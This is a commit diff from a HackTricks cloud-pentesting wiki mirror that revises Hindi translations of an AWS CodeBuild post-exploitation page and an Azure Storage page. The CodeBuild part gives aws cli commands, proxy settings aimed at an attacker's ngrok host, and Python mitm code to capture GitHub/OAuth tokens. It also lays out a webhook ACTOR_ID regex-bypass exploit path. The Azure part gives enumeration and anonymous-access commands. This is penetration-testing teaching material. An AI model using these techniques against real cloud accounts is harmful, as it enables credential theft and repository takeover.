mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+39
-39
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
## Github/Bitbucket के कॉन्फ़िगर किए गए Tokens पुनर्प्राप्त करें
|
||||
|
||||
सबसे पहले, जांचें कि क्या कोई source credentials कॉन्फ़िगर किए गए हैं जिन्हें आप leak कर सकते हैं:
|
||||
```bash
|
||||
@@ -10,39 +10,39 @@ aws codebuild list-source-credentials
|
||||
```
|
||||
### Docker Image के माध्यम से
|
||||
|
||||
अगर आपको किसी खाते में उदाहरण के लिए Github के लिए authentication सेट दिखे, तो आप Codebuild को प्रोजेक्ट का बिल्ड चलाने के लिए किसी specific Docker image का उपयोग कराने से वह **exfiltrate** किया हुआ वह **access** (**GH token or OAuth token**) निकाल सकते हैं।
|
||||
यदि आपको पता चले कि उदाहरण के लिए Github के लिए authentication उस account में सेट है, तो आप वह **access** (**GH token or OAuth token**) **exfiltrate** कर सकते हैं, Codebuild को प्रोजेक्ट के build चलाने के लिए एक specific Docker image इस्तेमाल करने पर मजबूर करके।
|
||||
|
||||
इस उद्देश्य के लिए आप **नया Codebuild project बना** सकते हैं या किसी मौजूदा प्रोजेक्ट के **environment** को बदलकर **Docker image** सेट कर सकते हैं।
|
||||
इसके लिए आप **नया Codebuild project बना सकते हैं** या एक मौजूदा का **environment** बदलकर **Docker image** सेट कर सकते हैं।
|
||||
|
||||
आप जिस Docker image का उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). यह एक बहुत ही basic Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको `https_proxy` और `http_proxy` में दिए गए host के अधिकांश ट्रैफिक को इंटरसेप्ट करने और `SSL_CERT_FILE` में दिए गए SSL CERT पर भरोसा करने की अनुमति देगा।
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). यह एक बहुत basic Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। इससे आप उस होस्ट के अधिकांश ट्रैफ़िक को intercept कर पाएँगे जो **`https_proxy`** और **`http_proxy`** में संकेतित है, और उस SSL CERT पर भरोसा करेगा जो **`SSL_CERT_FILE`** में संकेतित है।
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- repo के निर्देशों का पालन करके अपने proxy IP address और SSL cert सेट करें और **build the docker image**।
|
||||
- **DO NOT SET `http_proxy`** ताकि metadata endpoint के अनुरोध इंटरसेप्ट न हों।
|
||||
- आप **`ngrok`** का उपयोग कर सकते हैं, जैसे `ngrok tcp 4444`, ताकि proxy को अपने host पर सेट कर सकें।
|
||||
- एक बार जब आपका Docker image बन जाए, तो इसे **upload करें किसी public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- एक **new Codebuild project** बनाएं या किसी मौजूदा प्रोजेक्ट के environment को **modify** करें।
|
||||
- प्रोजेक्ट को सेट करें कि वह **previously generated Docker image** का उपयोग करे।
|
||||
1. **अपना Docker MitM image बनाएं और अपलोड करें**
|
||||
- repo के निर्देशों का पालन करके अपना proxy IP address और SSL cert सेट करें और **docker image build** करें।
|
||||
- **DO NOT SET `http_proxy`** ताकि metadata endpoint के अनुरोधों को intercept न किया जाए।
|
||||
- आप **`ngrok`** का उपयोग कर सकते हैं, जैसे `ngrok tcp 4444`, अपने host पर proxy सेट करने के लिए
|
||||
- एक बार जब आपका Docker image build हो जाए, तो **इसे किसी public repo में upload करें** (Dockerhub, ECR...)
|
||||
2. **Environment सेट करें**
|
||||
- एक **नया Codebuild project** बनाएं या मौजूदा एक के environment को **modify** करें।
|
||||
- प्रोजेक्ट को सेट करें कि वह **previously generated Docker image** का उपयोग करे
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
3. **अपने host में MitM proxy सेट करें**
|
||||
|
||||
- जैसा कि **Github repo** में बताया गया है, आप कुछ इस तरह का उपयोग कर सकते हैं:
|
||||
- जैसा कि **Github repo** में दर्शाया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> यह **mitmproxy version used was 9.0.1**, रिपोर्ट किया गया कि संस्करण 10 में यह काम नहीं कर सकता।
|
||||
> उपयोग की गई **mitmproxy version 9.0.1** थी; रिपोर्ट्स के अनुसार version 10 पर यह काम नहीं कर सकता है।
|
||||
|
||||
4. **बिल्ड चलाएँ & क्रेडेंशियल्स कैप्चर करें**
|
||||
4. **बिल्ड चलाएँ & capture the credentials**
|
||||
|
||||
- आप **Authorization** हेडर में token देख सकते हैं:
|
||||
- आप token को **Authorization** header में देख सकते हैं:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यह aws cli से कुछ इस तरह भी किया जा सकता है
|
||||
यह aws cli से भी कुछ इस तरह किया जा सकता है
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### insecureSSL के जरिए
|
||||
### insecureSSL के माध्यम से
|
||||
|
||||
**Codebuild** projects में एक सेटिंग होती है जिसका नाम **`insecureSsl`** है जो वेब में छिपी होती है और आप इसे केवल API से ही बदल सकते हैं।\
|
||||
इसे सक्षम करने पर, Codebuild प्लेटफ़ॉर्म द्वारा प्रदान किए गए **सर्टिफिकेट की जांच किए बिना** repository से कनेक्ट कर सकता है।
|
||||
**Codebuild** projects में **`insecureSsl`** नाम की एक setting होती है जो वेब में छिपी रहती है, आप इसे केवल API से ही बदल सकते हैं.\
|
||||
इसे सक्षम करने पर, Codebuild platform द्वारा प्रदान किए गए repository से **certificate की जाँच किए बिना** जुड़ सकता है.
|
||||
|
||||
- सबसे पहले आपको वर्तमान कॉन्फ़िगरेशन को enumerate करना होगा, कुछ इस तरह:
|
||||
- सबसे पहले आपको current configuration को enumerate करना होगा, कुछ इस तरह:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- तब, एकत्र की गई जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। नीचे मेरे द्वारा प्रोजेक्ट अपडेट करने का एक उदाहरण है, ध्यान दें कि अंत में **`insecureSsl=True`** है (यही एक चीज़ है जिसे आपको एकत्र की गई कॉन्फ़िगरेशन से बदलना है)।
|
||||
- इसके अलावा, env वेरिएबल्स **http_proxy** और **https_proxy** भी जोड़ें जो आपके tcp ngrok की ओर इशारा करें, जैसे:
|
||||
- फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। नीचे मेरे द्वारा एक प्रोजेक्ट अपडेट करने का उदाहरण है, ध्यान दें कि अंत में **`insecureSsl=True`** है (यह ही एक चीज़ है जिसे आपको एकत्रित कॉन्फ़िगरेशन में बदलना है)।
|
||||
- इसके अलावा, अपने tcp ngrok की ओर इशारा करते हुए env variables **http_proxy** और **https_proxy** भी जोड़ें, जैसे:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- फिर, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से basic example को उस port पर चलाएँ जिसे proxy variables (http_proxy and https_proxy) द्वारा इंगित किया गया है
|
||||
- फिर, proxy variables (http_proxy and https_proxy) द्वारा इंगित पोर्ट पर [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बेसिक उदाहरण चलाएँ
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- अंत में, **Build the project** पर क्लिक करें, **credentials** **sent in clear text** (base64) mitm पोर्ट पर:
|
||||
- अंत में, **Build the project** पर क्लिक करें, ये **credentials** mitm पोर्ट पर **clear text** (base64) में भेज दिए जाएंगे:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~HTTP प्रोटोकॉल के माध्यम से~~
|
||||
|
||||
> [!TIP] > **यह vulnerability AWS द्वारा लगभग 20th of Feb of 2023 वाले सप्ताह में (मुझे लगता है शुक्रवार) ठीक कर दी गई थी। So an attacker can't abuse it anymore :)**
|
||||
> [!TIP] > **यह vulnerability AWS द्वारा 20th of Feb of 2023 के सप्ताह में किसी बिंदु पर ठीक कर दी गई थी (मुझे लगता है शुक्रवार)। इसलिए एक attacker अब इसका दुरुपयोग नहीं कर सकता :)**
|
||||
|
||||
एक attacker जिसके पास CodeBuild पर **elevated permissions** हों, वह configured Github/Bitbucket token को leak कर सकता है, या अगर permissions OAuth के जरिए configured थीं, तो code तक पहुँचने के लिए उपयोग किया गया **temporary OAuth token** leak हो सकता है।
|
||||
एक attacker जिसके पास CodeBuild पर elevated permissions हों, वह configured Github/Bitbucket token को leak कर सकता है, या यदि permissions OAuth के माध्यम से configured थे, तो code तक पहुँचने के लिए उपयोग किया गया temporary OAuth token भी।
|
||||
|
||||
- एक attacker अपने मशीन की ओर संकेत करते हुए CodeBuild प्रोजेक्ट में environment variables **http_proxy** और **https_proxy** जोड़ सकता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
|
||||
- एक attacker CodeBuild project में environment variables **http_proxy** और **https_proxy** जोड़ सकता है जो उसकी मशीन की ओर point करते हैं (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- फिर, github repo का URL HTTPS की बजाय HTTP उपयोग करने के लिए बदलें, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
|
||||
- फिर, proxy variables (http_proxy और https_proxy) द्वारा निर्दिष्ट पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) का basic example चलाएँ
|
||||
- फिर, proxy variables (http_proxy और https_proxy) द्वारा point किए गए पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से basic example चलाएँ।
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- इसके बाद, **Build the project** पर क्लिक करें या कमांड लाइन से बिल्ड शुरू करें:
|
||||
- इसके बाद, **प्रोजेक्ट बिल्ड करें** पर क्लिक करें या कमांड लाइन से बिल्ड शुरू करें:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- अंत में, **credentials** **sent in clear text** (base64) mitm पोर्ट पर भेज दिए जाएंगे:
|
||||
- अंत में, **credentials** को **साफ़ टेक्स्ट** (base64) में mitm पोर्ट पर भेजा जाएगा:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> अब एक हमलावर अपने मशीन से token का उपयोग कर सकेगा, इसके सभी privileges को सूचीबद्ध कर सकेगा और CodeBuild service का सीधे उपयोग करने की तुलना में (ab)use करना आसान होगा।
|
||||
> अब एक attacker अपनी मशीन से token का उपयोग कर सकेगा, इसके सभी privileges को सूचीबद्ध कर सकेगा और सीधे CodeBuild सेवा का उपयोग करने की तुलना में इसका (ab)use/दुरुपयोग करना आसान होगा।
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
गलत-संरचित CodeBuild GitHub webhooks जो unanchored `ACTOR_ID` regexes का उपयोग करते हैं, *untrusted* PRs को privileged builds शुरू करने की अनुमति देते हैं। अगर allowlist जैसे `123456|7890123` में `^`/`$` नहीं हैं, तो उन substrings में से किसी एक को शामिल करने वाला कोई भी ID मैच होगा। क्योंकि GitHub user IDs क्रमिक होते हैं, एक हमलावर एक “eclipsing” ID (trusted ID का superstring) रजिस्टर करने के लिए रेस लगा सकता है और build को ट्रिगर कर सकता है।
|
||||
गलत कॉन्फ़िगर किए गए CodeBuild GitHub webhooks जो unanchored `ACTOR_ID` regexes का उपयोग करते हैं, *untrusted* PRs को privileged builds शुरू करने की अनुमति देते हैं। यदि allowlist `123456|7890123` जैसा है और उसमें `^`/`$` नहीं है, तो कोई भी ID जिसमें उन substrings में से कोई भी शामिल हो, मेल खाता है। क्योंकि GitHub user IDs अनुक्रमिक होते हैं, एक attacker "eclipsing" ID (trusted ID का एक superstring) रजिस्टर करने के लिए रेस कर सकता है और build ट्रिगर कर सकता है।
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. सार्वजनिक CodeBuild प्रोजेक्ट खोजें जो webhook filters को एक्सपोज़ करते हैं और एक unanchored `ACTOR_ID` allowlist निकालें।
|
||||
1. सार्वजनिक CodeBuild projects खोजें जो webhook filters उजागर करते हैं और एक unanchored `ACTOR_ID` allowlist निकालें।
|
||||
2. एक eclipsing GitHub ID प्राप्त करें:
|
||||
- GitHub orgs बनाकर/हटाकर global ID counter का नमूना लें (org IDs pool साझा करते हैं)।
|
||||
- कई GitHub App manifest creations को pre-stage करें और जब counter लक्ष्य के लगभग ~100 IDs के भीतर हो तो confirmation URLs को फायर करके एक bot ID को burst-register करें जो trusted substring को शामिल करता है।
|
||||
3. eclipsing अकाउंट से एक PR खोलें; regex substring से मैच करेगा और privileged build रन होगा।
|
||||
4. build RCE (जैसे dependency install hooks) का उपयोग करके उस process memory को dump करें जो GitHub credential को handle कर रही है और PAT/OAuth token को recover करें।
|
||||
5. token के `repo` scope के साथ, अपने अकाउंट को collaborator/admin के रूप में invite करें और malicious commits को push/approve करें या secrets exfiltrate करें।
|
||||
- कई GitHub App manifest creations को pre-stage करें और जब counter लक्ष्य के लगभग ~100 IDs के भीतर हो तब confirmation URLs को सक्रिय करके burst-register करें एक bot ID जिसमें trusted substring हो।
|
||||
3. eclipsing account से एक PR खोलें; regex substring से मेल खाता है और privileged build चल जाता है।
|
||||
4. build RCE का उपयोग करें (उदा., dependency install hooks) ताकि process memory dump कर सकें जो GitHub credential को handle कर रही है और PAT/OAuth token पुनः प्राप्त करें।
|
||||
5. `repo` scope वाले token के साथ, अपने account को collaborator/admin के रूप में invite करें और malicious commits को push/approve करें या secrets को exfiltrate करें।
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
@@ -2,54 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## मूल जानकारी
|
||||
|
||||
Azure Storage Accounts Microsoft Azure में मौलिक सेवाएँ हैं जो स्केलेबल, सुरक्षित और उच्च उपलब्धता वाली क्लाउड **storage for various data types** प्रदान करती हैं, जिनमें blobs (binary large objects), files, queues और tables शामिल हैं। ये विभिन्न storage सेवाओं को एक ही namespace के तहत कंटेनर के रूप में समूहित करके आसान प्रबंधन की सुविधा देती हैं।
|
||||
Azure Storage Accounts Microsoft Azure में ऐसी मौलिक सेवाएँ हैं जो स्केलेबल, सुरक्षित, और उच्च उपलब्ध क्लाउड **विभिन्न डेटा प्रकारों के लिए storage** प्रदान करती हैं, जिनमें blobs (binary large objects), files, queues, और tables शामिल हैं। ये अलग-अलग storage सेवाओं को एक ही namespace के अंतर्गत समूहित करने वाले containers के रूप में कार्य करती हैं ताकि प्रबंधन सरल हो।
|
||||
|
||||
**Main configuration options**:
|
||||
**मुख्य कॉन्फ़िगरेशन विकल्प**:
|
||||
|
||||
- हर storage account का सभी Azure में एक अद्वितीय नाम होना चाहिए।
|
||||
- हर storage account को एक **region** या Azure extended zone में डिप्लॉय किया जाता है।
|
||||
- बेहतर प्रदर्शन के लिए storage account का **premium** वर्शन चुनना संभव है।
|
||||
- ड्राइव, rack और datacenter **failures** से बचाने के लिए **4 types of redundancy** में से चुनना संभव है।
|
||||
- प्रत्येक storage account का नाम **Azure में यूनिक** होना चाहिए।
|
||||
- प्रत्येक storage account किसी **region** या Azure extended zone में डिप्लॉय किया जाता है।
|
||||
- बेहतर प्रदर्शन के लिए storage account का **premium** संस्करण चुनना संभव है।
|
||||
- rack, drive और datacenter **failures** से बचाव के लिए **4 प्रकार की redundancy** में से चयन संभव है।
|
||||
|
||||
**Security configuration options**:
|
||||
**सुरक्षा कॉन्फ़िगरेशन विकल्प**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Storage के साथ किसी भी संचार में TLS की आवश्यकता।
|
||||
- **Allows enabling anonymous access on individual containers**: यदि सक्षम नहीं किया गया तो भविष्य में anonymous access सक्षम नहीं किया जा सकेगा।
|
||||
- **Enable storage account key access**: यदि सक्षम नहीं, तो Shared Keys से access प्रतिबंधित होगा।
|
||||
- **Require secure transfer for REST API operations**: storage के साथ किसी भी संचार में TLS आवश्यक करें
|
||||
- **Allows enabling anonymous access on individual containers**: यदि सक्षम नहीं किया गया तो भविष्य में anonymous access सक्षम करना संभव नहीं होगा
|
||||
- **Enable storage account key access**: यदि सक्षम नहीं, तो Shared Keys से access निषिद्ध होगा
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: किसी भी storage account से अनुमति देना, उसी Entra tenant के किसी भी storage account से, या उसी virtual network में private endpoints वाले storage account से अनुमति देना।
|
||||
- **Permitted scope for copy operations**: किसी भी storage account से, उसी Entra tenant के किसी भी storage account से, या उसी virtual network में private endpoints वाले storage accounts से अनुमति देना
|
||||
|
||||
**Blob Storage options**:
|
||||
**Blob Storage विकल्प**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (अक्सर पहुंची जाने वाली सामग्री), Cool और Cold (कम उपयोग होने वाली सामग्री)
|
||||
- **Access tier**: Hot (अक्सर पहुंचा जाने वाला डेटा), Cool और Cold (दुर्लभ रूप से एक्सेस किया जाने वाला डेटा)
|
||||
|
||||
**Networking options**:
|
||||
**नेटवर्किंग विकल्प**:
|
||||
|
||||
- **Network access**:
|
||||
- सभी नेटवर्क से अनुमति देना
|
||||
- चयनित virtual networks और IP पतों से अनुमति देना
|
||||
- public access को अक्षम करके private access का उपयोग करना
|
||||
- सभी नेटवर्क से अनुमति दें
|
||||
- चयनित virtual networks और IP addresses से अनुमति दें
|
||||
- सार्वजनिक एक्सेस अक्षम करें और private access का उपयोग करें
|
||||
- **Private endpoints**: यह virtual network से storage account के लिए private कनेक्शन की अनुमति देता है
|
||||
|
||||
**Data protection options**:
|
||||
**डेटा प्रोटेक्शन विकल्प**:
|
||||
|
||||
- **Point-in-time restore for containers**: कंटेनरों को पहले की स्थिति में restore करने की अनुमति देता है
|
||||
- इसके लिए versioning, change feed, और blob soft delete सक्षम होना आवश्यक है।
|
||||
- **Enable soft delete for blobs**: deleted blobs (यहाँ तक कि overwritten) के लिए retention दिनों की अवधि सक्षम करता है
|
||||
- **Enable soft delete for containers**: deleted containers के लिए retention दिनों की अवधि सक्षम करता है
|
||||
- **Enable soft delete for file shares**: deleted file shares के लिए retention दिनों की अवधि सक्षम करता है
|
||||
- **Enable versioning for blobs**: आपके blobs के पिछले संस्करणों को बनाये रखता है
|
||||
- **Enable blob change feed**: blobs के create, modification, और delete परिवर्तनों के लॉग रखता है
|
||||
- **Enable version-level immutability support**: account-स्तर पर time-based retention policy सेट करने की अनुमति देता है जो सभी blob versions पर लागू होगा।
|
||||
- Version-level immutability support और point-in-time restore for containers एक साथ सक्षम नहीं किए जा सकते।
|
||||
- **Point-in-time restore for containers**: containers को पहले की स्थिति पर restore करने की अनुमति देता है
|
||||
- इसके लिए versioning, change feed, और blob soft delete सक्षम होने चाहिए।
|
||||
- **Enable soft delete for blobs**: deleted blobs (यहाँ तक कि overwritten) के लिए दिनों में retention अवधि सक्षम करता है
|
||||
- **Enable soft delete for containers**: deleted containers के लिए retention अवधि दिनों में सक्षम करता है
|
||||
- **Enable soft delete for file shares**: deleted file shares के लिए retention अवधि दिनों में सक्षम करता है
|
||||
- **Enable versioning for blobs**: आपके blobs के पिछले संस्करण बनाए रखता है
|
||||
- **Enable blob change feed**: blobs पर create, modification, और delete परिवर्तनों के लॉग रखता है
|
||||
- **Enable version-level immutability support**: खाते-स्तर पर समय-आधारित retention policy सेट करने की अनुमति देता है जो सभी blob versions पर लागू होगा।
|
||||
- Version-level immutability support और point-in-time restore for containers को एक साथ सक्षम नहीं किया जा सकता।
|
||||
|
||||
**Encryption configuration options**:
|
||||
**एन्क्रिप्शन कॉन्फ़िगरेशन विकल्प**:
|
||||
|
||||
- **Encryption type**: Microsoft-managed keys (MMK) या Customer-managed keys (CMK) का उपयोग करना संभव है
|
||||
- **Enable infrastructure encryption**: डेटा को "अधिक security" के लिए डबल encrypt करने की अनुमति देता है
|
||||
- **Enable infrastructure encryption**: डेटा को "अधिक सुरक्षा" के लिए डबल एन्क्रिप्ट करने की अनुमति देता है
|
||||
|
||||
### Storage endpoints
|
||||
|
||||
@@ -57,18 +57,18 @@ Azure Storage Accounts Microsoft Azure में मौलिक सेवाए
|
||||
|
||||
### Public Exposure
|
||||
|
||||
यदि "Allow Blob public access" **enabled** है (डिफ़ॉल्ट रूप से disabled), तो container बनाते समय संभव है कि आप:
|
||||
यदि "Allow Blob public access" **enabled** है (डिफ़ॉल्ट रूप से disabled), तो जब container बनाया जाता है तो यह संभव है:
|
||||
|
||||
- blobs पढ़ने के लिए **public access** दे सकें (नाम जानना आवश्यक है)।
|
||||
- container के blobs को **list** और **read** कर सकें।
|
||||
- इसे पूरी तरह से **private** बना सकें।
|
||||
- blobs को पढ़ने के लिए **public access** दें (आपको नाम जानना होगा)।
|
||||
- container blobs की **list** करें और उन्हें **read** करें।
|
||||
- इसे पूरी तरह से **private** बनाएं
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Static website (`$web`) exposure & leaked secrets
|
||||
|
||||
- **Static websites** विशेष `$web` container से region-specific endpoint जैसे `https://<account>.z13.web.core.windows.net/` के माध्यम से सर्व की जाती हैं।
|
||||
- `$web` container blob API के माध्यम से `publicAccess: null` रिपोर्ट कर सकता है, लेकिन फाइलें अभी भी static site endpoint के माध्यम से पहुँच योग्य होती हैं, इसलिए config/IaC artifacts वहाँ रखने से secrets leak हो सकते हैं।
|
||||
- **Static websites** विशेष `$web` container से region-specific endpoint के माध्यम से परोसे जाते हैं जैसे `https://<account>.z13.web.core.windows.net/`।
|
||||
- `$web` container blob API के माध्यम से `publicAccess: null` रिपोर्ट कर सकता है, फिर भी फ़ाइलें static site endpoint के माध्यम से पहुँच योग्य रहती हैं, इसलिए वहां config/IaC artifacts छोड़ने से secrets leak हो सकते हैं।
|
||||
- Quick audit workflow:
|
||||
```bash
|
||||
# Identify storage accounts with static website hosting enabled
|
||||
@@ -80,53 +80,53 @@ az storage blob list --container-name '$web' --account-name <acc-name> --auth-mo
|
||||
# Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS)
|
||||
az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name <acc-name> --auth-mode login
|
||||
```
|
||||
### गुमनाम blob एक्सपोज़र का ऑडिट
|
||||
### अनाम blob एक्सपोज़र का ऑडिट
|
||||
|
||||
- **स्टोरेज अकाउंट्स ढूँढें** जो डेटा एक्सपोज़ कर सकते हैं: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. अगर `allowBlobPublicAccess` `false` है तो आप कंटेनरों को public नहीं कर सकते।
|
||||
- **जोखिमभरे अकाउंट्स का निरीक्षण करें** ताकि flag और अन्य कमजोर सेटिंग्स की पुष्टि हो: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **कंटेनर-स्तरीय एक्सपोज़र को सूचीबद्ध करें** जहाँ flag सक्षम है:
|
||||
- **Locate storage accounts** जो डेटा एक्सपोज़ कर सकते हैं: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. यदि `allowBlobPublicAccess` `false` है तो आप containers को public नहीं कर सकते।
|
||||
- **Inspect risky accounts** फ़्लैग और अन्य कमजोर सेटिंग्स की पुष्टि करने के लिए: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Enumerate container-level exposure** जहाँ यह फ्लैग सक्षम है:
|
||||
```bash
|
||||
az storage container list --account-name <acc> \
|
||||
--query '[].{name:name, access:properties.publicAccess}'
|
||||
```
|
||||
- `"Blob"`: गुमनाम पढ़ने की अनुमति **केवल जब blob का नाम ज्ञात हो** (कोई लिस्टिंग नहीं)।
|
||||
- `"Container"`: गुमनाम रूप से प्रत्येक blob की **लिस्ट + रीड**।
|
||||
- `null`: निजी; प्रमाणीकरण आवश्यक।
|
||||
- **पहुँच साबित करें** बिना क्रेडेंशियल्स:
|
||||
- यदि `publicAccess` `Container` है, तो गुमनाम लिस्टिंग काम करती है: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- दोनों `Blob` और `Container` के लिए, जब नाम ज्ञात हो तो गुमनाम blob डाउनलोड संभव है:
|
||||
- `"Blob"`: अनाम पढ़ने की अनुमति है **केवल जब blob नाम ज्ञात हो** (कोई सूची नहीं).
|
||||
- `"Container"`: प्रत्येक blob के लिए अनाम **list + read**.
|
||||
- `null`: निजी; प्रमाणीकरण आवश्यक.
|
||||
- **क्रेडेंशियल्स के बिना पहुँच साबित करें**:
|
||||
- यदि `publicAccess` `Container` है, तो अनाम सूचीकरण काम करेगा: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- दोनों `Blob` और `Container` के लिए, जब नाम ज्ञात हो तो अनाम blob डाउनलोड संभव है:
|
||||
```bash
|
||||
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
|
||||
# or via raw HTTP
|
||||
curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
|
||||
```
|
||||
### स्टोरेज से कनेक्ट करें
|
||||
### Connect to Storage
|
||||
|
||||
यदि आप किसी भी **storage** से कनेक्ट कर पाते हैं तो आप इस काम के लिए [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) टूल का उपयोग कर सकते हैं।
|
||||
If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so.
|
||||
|
||||
## स्टोरेज तक पहुँच <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
## Access to Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
Entra ID principals को **RBAC roles** के साथ उपयोग करके storage accounts तक पहुँचना संभव है और यह अनुशंसित तरीका है।
|
||||
यह संभव है कि Entra ID principals के साथ **RBAC roles** का उपयोग करके storage accounts तक पहुँच प्राप्त की जाए और यह सुझाया गया तरीका है।
|
||||
|
||||
### Access Keys
|
||||
|
||||
storage accounts के पास access keys होते हैं जिनका उपयोग उन्हें एक्सेस करने के लिए किया जा सकता है। यह f**ull access to the storage account.** प्रदान करता है।
|
||||
स्टोरेज अकाउंट्स के पास access keys होते हैं जिनका उपयोग उन्हें एक्सेस करने के लिए किया जा सकता है। यह storage account को **full access** प्रदान करता है।
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
|
||||
यह संभव है कि access keys से साइन किए गए [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) का उपयोग करके signed URL के माध्यम से कुछ resources तक पहुँच अधिकृत किया जा सके।
|
||||
यह संभव है कि access keys के साथ साइन किए गए [**Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) को generate किया जाए ताकि signed URL के माध्यम से कुछ resources तक access authorize किया जा सके।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि `CanonicalizedResource` भाग storage services resource (URI) का प्रतिनिधित्व करता है। और अगर URL का कोई भाग encode किया गया है, तो उसे `CanonicalizedResource` के भीतर भी encode किया जाना चाहिए।
|
||||
